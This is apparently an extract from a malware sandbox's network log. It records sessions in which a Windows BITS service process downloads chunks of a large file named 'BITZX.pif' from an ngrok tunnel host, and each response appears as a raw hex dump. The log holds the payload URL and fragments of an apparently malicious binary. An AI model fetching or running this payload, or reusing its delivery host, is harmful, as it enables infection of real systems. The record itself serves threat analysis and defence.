2025-01-15 14:28:47 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 192 Content-Range: bytes 25508-25699/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:46 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:47 UTC	192	IN	Data Raw: 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 Data Ascii: 0.(C(9**0000.(C(9*0000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.11.20	49881	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:50 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=25700-25867 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:51 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 168 Content-Range: bytes 25700-25867/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:51 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:51 UTC	168	IN	Data Raw: 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 Data Ascii: .(C(9*0000.(C(9*00*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.11.20	49882	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:53 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=25868-25996 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:54 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 129 Content-Range: bytes 25868-25996/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:54 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:54 UTC	129	IN	Data Raw: 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 Data Ascii: 0.(C(9**0000*.(C(9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.11.20	49883	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:55 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=25997-26009 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:56 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 13 Content-Range: bytes 25997-26009/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:56 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:56 UTC	13	IN	Data Raw: 00 06 2a 12 00 00 17 2a 00 00 00 12 00 Data Ascii: **

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.11.20	49884	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:28:58 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=26010-26263 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:28:59 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 254 Content-Range: bytes 26010-26263/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:28:59 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:28:59 UTC	254	IN	Data Raw: 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a Data Ascii: 0000.(C(9*0000.(C(9*0000*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.11.20	49885	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:03 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=26264-26487 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:03 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 224 Content-Range: bytes 26264-26487/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:03 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:03 UTC	224	IN	Data Raw: 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 Data Ascii: .(C(9**0000.(C(9*0000.(C(9**0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.11.20	49886	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:06 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=26488-26595 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:06 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 108 Content-Range: bytes 26488-26595/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:06 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:06 UTC	108	IN	Data Raw: 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 Data Ascii: 000.(C(9**00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.11.20	49887	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:09 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=26596-26701 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:09 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 106 Content-Range: bytes 26596-26701/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:09 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:09 UTC	106	IN	Data Raw: 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 Data Ascii: 00.(C(9*00*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.11.20	49888	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:13 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=26702-26811 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:13 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 110 Content-Range: bytes 26702-26811/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:12 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:13 UTC	110	IN	Data Raw: 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 Data Ascii: 0.(C(9**0000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.11.20	49889	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:17 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=26812-27197 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:17 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 386 Content-Range: bytes 26812-27197/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:17 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:17 UTC	386	IN	Data Raw: 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 Data Ascii: .(C(9*0000.(C(9*0000.(C(9*00*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.11.20	49890	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:21 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=27198-27307 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:21 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 110 Content-Range: bytes 27198-27307/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:20 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:21 UTC	110	IN	Data Raw: 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 Data Ascii: *0000.(C(9**0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.11.20	49891	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:25 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=27308-28017 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:25 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 710 Content-Range: bytes 27308-28017/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:25 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:25 UTC	710	IN	Data Raw: 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 Data Ascii: 000.(C(9**0000.(C(9*0000*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.11.20	49892	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:27 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=28018-28277 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:27 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 260 Content-Range: bytes 28018-28277/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:26 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:27 UTC	260	IN	Data Raw: 00 00 00 00 17 2a 12 00 00 16 2a 00 00 00 12 00 00 14 2a 00 00 00 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 22 00 14 a5 8d 00 00 02 2a 00 00 00 12 00 00 16 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 41 02 00 02 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 41 02 00 02 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 12 Data Ascii: *.(C(9"0"A000000"A0*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.11.20	49893	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:28 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=28278-28316 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:28 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 39 Content-Range: bytes 28278-28316/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:27 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:28 UTC	39	IN	Data Raw: 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 22 00 14 a5 41 02 00 02 2a 00 00 00 13 30 05 00 04 00 00 00 00 Data Ascii: *"A0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.11.20	49894	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:31 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=28317-28877 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:31 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 561 Content-Range: bytes 28317-28877/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:31 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:31 UTC	561	IN	Data Raw: 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 22 00 14 a5 41 02 00 02 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 00 2a 22 00 14 a5 41 02 00 02 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 Data Ascii: ***"A0****0"A0****000.(C(9***0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.11.20	49895	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:33 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=28878-29100 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:33 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 223 Content-Range: bytes 28878-29100/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:33 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:33 UTC	223	IN	Data Raw: 00 00 98 02 00 00 7b 00 00 00 00 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 06 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 16 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 16 6a 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 16 6c 2a 00 00 00 13 30 05 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 16 6b 2a 00 00 00 13 Data Ascii: {00000*jl00**0k*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.11.20	49896	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:37 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=29101-29210 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:37 UTC	313	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 110 Content-Range: bytes 29101-29210/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:37 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:37 UTC	110	IN	Data Raw: 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 16 2a 03 30 08 00 04 00 00 00 00 00 00 00 00 00 00 Data Ascii: 0*000*0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.11.20	49897	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:39 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=29211-29280 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:39 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 70 Content-Range: bytes 29211-29280/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:39 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:39 UTC	70	IN	Data Raw: 2a 01 28 00 00 02 00 e2 02 b8 9a 03 90 00 00 00 00 02 00 36 04 bb f1 04 68 00 00 00 00 02 00 48 01 b7 ff 01 68 00 00 00 00 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 Data Ascii: (6hHh.(C(9**

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.11.20	49898	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:29:42 UTC	231	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=29281-29298 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:29:42 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 18 Content-Range: bytes 29281-29298/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:29:42 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:29:42 UTC	18	IN	Data Raw: 30 05 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 05 Data Ascii: 0*0

